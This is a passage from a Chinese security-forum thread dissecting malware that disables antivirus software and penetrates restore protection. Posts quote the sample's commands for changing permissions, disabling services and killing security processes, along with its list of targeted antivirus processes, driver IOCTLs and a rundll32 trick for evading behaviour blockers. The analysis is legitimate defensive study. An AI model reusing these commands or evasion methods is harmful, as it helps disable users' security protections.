能力值:
( LV2,RANK:10 )
|
-
-
26 楼
楼上分析的驱动非机器狗驱动. 哈哈.
"func.dll的droqp函数释放并加载驱动acpiec.sys & pcidump.sys" ,其中acpiec.sys 负责调用WRITE_PORT_UCHAR写指定扇区,穿透还原卡&360保护器.
|
能力值:
( LV12,RANK:300 )
|
-
-
27 楼
pcidump.sys是穿还原主力,谁去逆向之……
|
能力值:
( LV12,RANK:300 )
|
-
-
28 楼
pcidump.sys不是func.dll释放的,是phpi.dll释放的吧。
饭总得一口一口吃,先把整体行为分析完了,再集中精力关注最主要的。
|
能力值:
( LV2,RANK:10 )
|
-
-
29 楼
我越来越糊涂了.....................
|
能力值:
( LV2,RANK:10 )
|
-
-
30 楼
下下来看看再说
|
能力值:
( LV12,RANK:420 )
|
-
-
31 楼
360还原已经1年以上没更新了,被穿很正常。机器狗还有余孽,可惜已经不成气候
还原软件各家不都是号称有了什么白痴驱动防火墙,不需要保护了吗?
|
能力值:
( LV12,RANK:300 )
|
-
-
32 楼
钩SSDT的NtQuerySystemInformation隐藏进程,以及钩FSD的CREATE来屏蔽某些进程对文件系统的访问,这些都是pcidump.sys做的。
这里其实钩了等于没钩,因为pcidump.sys虽然提供这个功能,但是phpi.dll加载它的时候没有用DeviceIoControl传入需要隐藏和屏蔽的进程名和PID。这说明pcidump.sys不是病毒作者原创的,他只是拿了这个有穿还原功能的驱动,然后直接加载调用它。
phpi.dll加载pcidump.sys后只用了IOCTL=0x222014的功能,即穿还原拷贝(覆盖)文件,将WINDOWS\explorer.exe内容拷贝到system32\drivers\gm.dls,又将病毒源文件内容覆盖到WINDOWS\explorer.exe。具体的原理,我对文件系统不熟,没有深入看了
|
能力值:
( LV2,RANK:10 )
|
-
-
33 楼
驱动防火墙有点不太靠谱呀,现在是人哪里分得清哪个驱动是好的,哪个是邪恶的。。。放行了邪恶的驱动,还不是一样么。。。
而且驱动防火墙在我这里有不兼容的问题,试了几个都不合适,还是觉得保护好冰点比较靠谱
|
能力值:
( LV2,RANK:10 )
|
-
-
34 楼
你可以用易速测试下,2.3.7 0825 BETA2版本我现在用的,还没发现可以穿的
|
能力值:
( LV15,RANK:340 )
|
-
-
35 楼
目前只看完func.dll,大致了解了一下执行流程。驱动部分没想到都逆完了,我也把我分析的贴一下吧:
explorer.exe行为 ; 创建互斥 004012D1 |. 56 PUSH ESI ; /MutexName => "ttt555" 004012D2 |. 53 PUSH EBX ; |InitialOwner => FALSE 004012D3 |. 53 PUSH EBX ; |pSecurity => NULL 004012D4 |. FF15 24204000 CALL DWORD PTR DS:[<&KERNEL32.CreateMute>; \CreateMutexA
; 执行这几条命令(主要对付 ESET NOD32 ) "cmd /c cacls %s /e /p everyone:f" "cmd /c cacls "%s" /e /p everyone:f" "cmd /c sc config ekrn start= disabled" ; ekrn.exe => "ESET NOD32" "cmd /c taskkill /im ekrn.exe /f" "cmd /c taskkill /im egui.exe /f" "cmd /c taskkill /im ScanFrm.exe /f" ; Rising scan server
; 取资源BIN,放出func.dll Res:"BIN" "\system32\func.dll" "rundll32.exe func.dll, droqp" ; 放phpi.dll ... "\phpi.dll" ...
explorer.exe后面还有个释放phpi.dll的部分没看,先拆了func.dll:
func.dll (通过 rundll32.exe func.dll, droqp 执行) .text:1000411C public droqp .text:1000411C droqp proc near ; 提权 .text:10004128 call SetDebugPrivilege ; 释放acpiec.sys .text:1000419D lea eax, [ebp+FileName] .text:100041A3 push offset aSystem32Driver ; "\\system32\\drivers" .text:100041A8 push eax ; Dest .text:100041A9 call strcat .text:100041AE lea eax, [ebp+FileName] .text:100041B4 push offset aAcpiec_sys ; "\\acpiec.sys" .text:100041B9 push eax ; Dest .text:100041BA call strcat .text:100041BF add esp, 10h .text:100041C2 cmp [ebp+SystemTime.wYear], 7D8h .text:100041C8 jbe short loc_100041E0 .text:100041CA lea eax, [ebp+FileName] .text:100041D0 push eax ; lpFileName .text:100041D1 push offset hFile ; ResName = "SYS" .text:100041D6 push 67h ; hResInfo .text:100041D8 call Save_Res2File ; int __cdecl Save_Res2File(LPCSTR hResInfo, LPCSTR hFile, LPCSTR lpFileName)
; 注册acpiec.sys并加载 .text:100041E0 lea eax, [ebp+FileName] ; "acpiec.sys" .text:100041E6 push eax ; lpBinaryPathName .text:100041E7 call Load_driver_UPDATEDATA
.text:1000422B push [ebp+hDevice] ; hDevice .text:1000422E call something_about_SSDT
.text:10003FB1 ; int __cdecl something_about_SSDT(int hDevice) .text:10003FB1 something_about_SSDT proc near func.dll关于SSDT部分,前面有人解释过了,无非就是取内核基址然后发IOCTL .text:10003E8B push 22E14Bh ; IOCTL 0x22E14B: 替换指定的SSDT ps: 不过作者写程序很中规中矩啊,该Free的Free,该关句柄的关句柄,出错处理和调试信息一个不少,不像有些木马里LoadLibraryEx后就放那不管了。
; 接着打开 \\.\CMusic,也就是之前放出的那个驱动acpiec.sys .text:100041EF push ebx ; hTemplateFile .text:100041F0 push 80h ; dwFlagsAndAttributes .text:100041F5 push 3 ; dwCreationDisposition .text:100041F7 push ebx ; lpSecurityAttributes .text:100041F8 push ebx ; dwShareMode .text:100041F9 push 0C0000000h ; dwDesiredAccess .text:100041FE push offset FileName ; "\\\\.\\CMusic" .text:10004203 call ds:CreateFileA
; 创建一个线程在 StartAddress .text:10004241 push ebx ; lpThreadId .text:10004242 push ebx ; dwCreationFlags .text:10004243 push [ebp+lpParameter] ; lpParameter .text:10004246 push offset StartAddress ; lpStartAddress .text:1000424B push ebx ; dwStackSize .text:1000424C push ebx ; lpThreadAttributes .text:1000424D call ds:CreateThread
.text:1000146B ; DWORD __stdcall StartAddress(LPVOID) .text:1000146B StartAddress proc near ; 一个巨长的函数,几乎把所有杀软进程名都给列上了 ; 不过从这个列表的顺序来看,这八成是国人写的,瑞星、360的进程都照顾全了,连QQ医生都没忘 RsMain.exe ScanFrm.exe rsnetsvr.exe avp.exe safeboxTray.exe 360Safe.exe 360Safebox.exe 360tray.exe antiarp.exe ekrn.exe egui.exe RavMon.exe RavMonD.exe RavTask.exe CCenter.exe RavStub.exe RsTray.exe Rav.exe Rsaupd.exe AgentSvr.exe QQDoctor.exe DrRtp.exe McProxy.exe McNASvc.exe Mcshield.exe MpfSrv.exe pccguide.exe ZONEALARM.exe zonealarm.exe ...
; 接着发 22E153 到驱动(IOCTL 0x22E153 根据PID调用ZwTerminateJobObject结束指定进程) .text:100035DB mov edi, ds:GetModuleHandleA .text:100035E1 push offset ModuleName ; "kernel32.dll" .text:100035E6 call edi ; GetModuleHandleA .text:100035E8 push offset aDeviceiocontro ; "DeviceIoControl" .text:100035ED push eax ; hModule .text:100035EE call ds:GetProcAddress .text:100035F4 mov [ebp+DeviceIoControl_addr], eax
.text:10003AE5 lea eax, [ebp+dwProcessID] .text:10003AE8 push 4 .text:10003AEA push eax .text:10003AEB push 22E153h ; IOCTL .text:10003AF0 push dword ptr [ebp+8] .text:10003AF3 call [ebp+DeviceIoControl_addr]
.text:10003B07 loc_10003B07: ; CODE XREF: StartAddress+2226j .text:10003B07 push [ebp+pe.th32ProcessID] ; dwProcessId .text:10003B0D call kill_avp
; 关进程 ; 嘿嘿,在 SOFTWARE\KasperskyLab\protected\AVP8\CKAHUM\LastSet 里找卡巴的病毒库路径 .text:1000132B ; int __cdecl kill_avp(DWORD dwProcessId) .text:1000132B kill_avp proc near .text:10001339 push edi .text:1000133A push eax ; phkResult .text:1000133B xor esi, esi .text:1000133D push 20019h ; samDesired .text:10001342 push esi ; ulOptions .text:10001343 push offset SubKey ; "SOFTWARE\KasperskyLab\protected\AVP8\CKAHUM\LastSet" .text:10001348 push 80000002h ; hKey .text:1000134D call ds:RegOpenKeyExA
.text:10001365 push eax ; lpcbData .text:10001366 lea eax, [ebp+Data] .text:1000136C push eax ; lpData .text:1000136D lea eax, [ebp+Type] .text:10001370 push eax ; lpType .text:10001371 push esi ; lpReserved .text:10001372 push offset ValueName ; "Directory" .text:10001377 mov [ebp+cbData], 50h .text:1000137E push [ebp+hKey] ; hKey .text:10001381 call ds:RegQueryValueExA
; 执行下面两个命令 .text:1000145B call esi ; WinExec "cmd /c sc config avp start= disabled" "cmd /c taskkill /f /im avp.exe"
; 然后继续循环 ...
显然这个func.dll只是用于K掉杀毒软件的。唯一值得关注的就是那个进程列表,看来作者相当厌恶瑞*啊,几乎所有的进程都给列上了...
以及acpiec.sys里那个pdb的路径名,
.rdata:0001283C db 'E:\ts\benz_5-15\SYS\objfre\i386\KILLKB.pdb',0
作者还是赶快把E盘格了,然后给DDK换个文件夹,免得哪天被人看到而东窗事发
|
能力值:
( LV2,RANK:10 )
|
-
-
36 楼
个人认为目前的安全问题已经到了修改计算机体系的层面上了,要真正实现安全的代码及空间隔离,目前恐怕只能用虚拟机了
|
能力值:
( LV2,RANK:10 )
|
-
-
37 楼
分析病毒我喜欢
|
能力值:
( LV17,RANK:1820 )
|
-
-
38 楼
explorer.exe经常是被搞的对象,这次05期黑防上的绕过瑞星2009主防实现驱动加载一文的所使用的方法也是如此,针对explorer.exe进行DLL注入
|
能力值:
( LV12,RANK:300 )
|
-
-
39 楼
实际上这个病毒采用的加载驱动思路也是对付主防的:
使用rundll32.exe来加载DLL,被加载的DLL执行加载acpiec.sys,也就是由rundll32.exe进程加载驱动。杀毒软件虽然有拦截驱动加载动作,但是rundll32.exe通常被认为是可信任进程,因此这个行为很可能就被放过了。而加载acpiec.sys执行还原SSDT和摘回调函数的工作,破坏安全软件的监控,然后病毒主体再加载驱动实现危害性操作,这是这种类型的病毒的典型思路。
|
能力值:
( LV12,RANK:300 )
|
-
-
40 楼
出错和调试信息一个不少,更说明了这是作者“拿来主义”的结果。因为这个func.dll只是用来K掉杀毒软件的,和病毒主体的功能是完全可分,所以完全可能是“移植”过来的,特别是那部分还原SSDT的代码,因为网上已经有示例代码了,现在的病毒基本上都是直接把代码copy过来使的,当然看起来很“规范”。
|
能力值:
( LV3,RANK:20 )
|
-
-
41 楼
你是说最后一句的strcat用法错了?
看得出SysDir他的本意是一个数据名,但是aboy.dll 这个引用出了问题
我是用C的 不知道别的语言里是不是可以这样!
如果这样写就没有错了
char *A="aboy.dll"
chra SysDir[30]
strcat(SysDir,A)
.....
|
能力值:
( LV2,RANK:10 )
|
-
-
42 楼
病毒也玩山寨啊
真是利益至上啊
|
能力值:
( LV2,RANK:10 )
|
-
-
43 楼
感谢分享,能穿就很了不起的
|
能力值:
( LV15,RANK:340 )
|
-
-
44 楼
估计是如此。看来现在是拼拼凑凑也能写病毒的时代了,模块化、插件化...
|
能力值:
( LV2,RANK:10 )
|
-
-
45 楼
我最郁闷的就是为啥作者搞了那么多的调试信息在里面,难道是为了我们debug用的?
|
能力值:
( LV2,RANK:10 )
|
-
-
46 楼
无聊来看下 呵呵
|
能力值:
( LV2,RANK:10 )
|
-
-
47 楼
我最近也在研究这方面技术, 帮顶下,希望能共同研究
|
能力值:
( LV4,RANK:50 )
|
-
-
48 楼
修改系统时间为2007以前(含2007),主程序将无法执行正常的功能模块。
获取系统时间的年份。
004012DA 8D45 F0 lea eax, dword ptr [ebp-10] 004012DD 50 push eax 004012DE FF15 0C204000 call dword ptr [40200C] ; kernel32.GetSystemTime
下面都是对时间进行判断的。
如果时间不超过2007,病毒主程序将无作为。
0040133D 66:817D F0 D707 cmp word ptr [ebp-10], 7D7 00401343 0F86 42010000 jbe 0040148B
004014AA 66:817D F0 D707 cmp word ptr [ebp-10], 7D7 004014B0 59 pop ecx 004014B1 59 pop ecx 004014B2 BF 00364000 mov edi, 00403600 ; ASCII "BIN" 004014B7 76 21 jbe short 004014DA
0040119E 66:817D E8 D707 cmp word ptr [ebp-18], 7D7 004011A4 76 40 jbe short 004011E6
004015AF 66:817D F0 D807 cmp word ptr [ebp-10], 7D8 004015B5 0F86 C6000000 jbe 00401681
004015D2 66:817D F0 D707 cmp word ptr [ebp-10], 7D7 004015D8 0F86 A3000000 jbe 00401681
00401644 66:817D F0 D807 cmp word ptr [ebp-10], 7D8 0040164A 76 35 jbe short 00401681
|
能力值:
( LV2,RANK:10 )
|
-
-
49 楼
要是把时间改了,我也无所作为了。。。
|
能力值:
( LV2,RANK:10 )
|
-
-
50 楼
[QUOTE=hacker一疒亻;633739]你是说最后一句的strcat用法错了?
看得出SysDir他的本意是一个数据名,但是aboy.dll 这个引用出了问题
我是用C的 不知道别的语言里是不是可以这样!
如果这样写就没有错了
char *A="aboy.dll"
chra SysDir[30]
strc...[/QUOTE]
我当时拿到的样本 lstrcat(sysdir,"aboy.dll"); 少个"\\" 可见山寨
|
|
|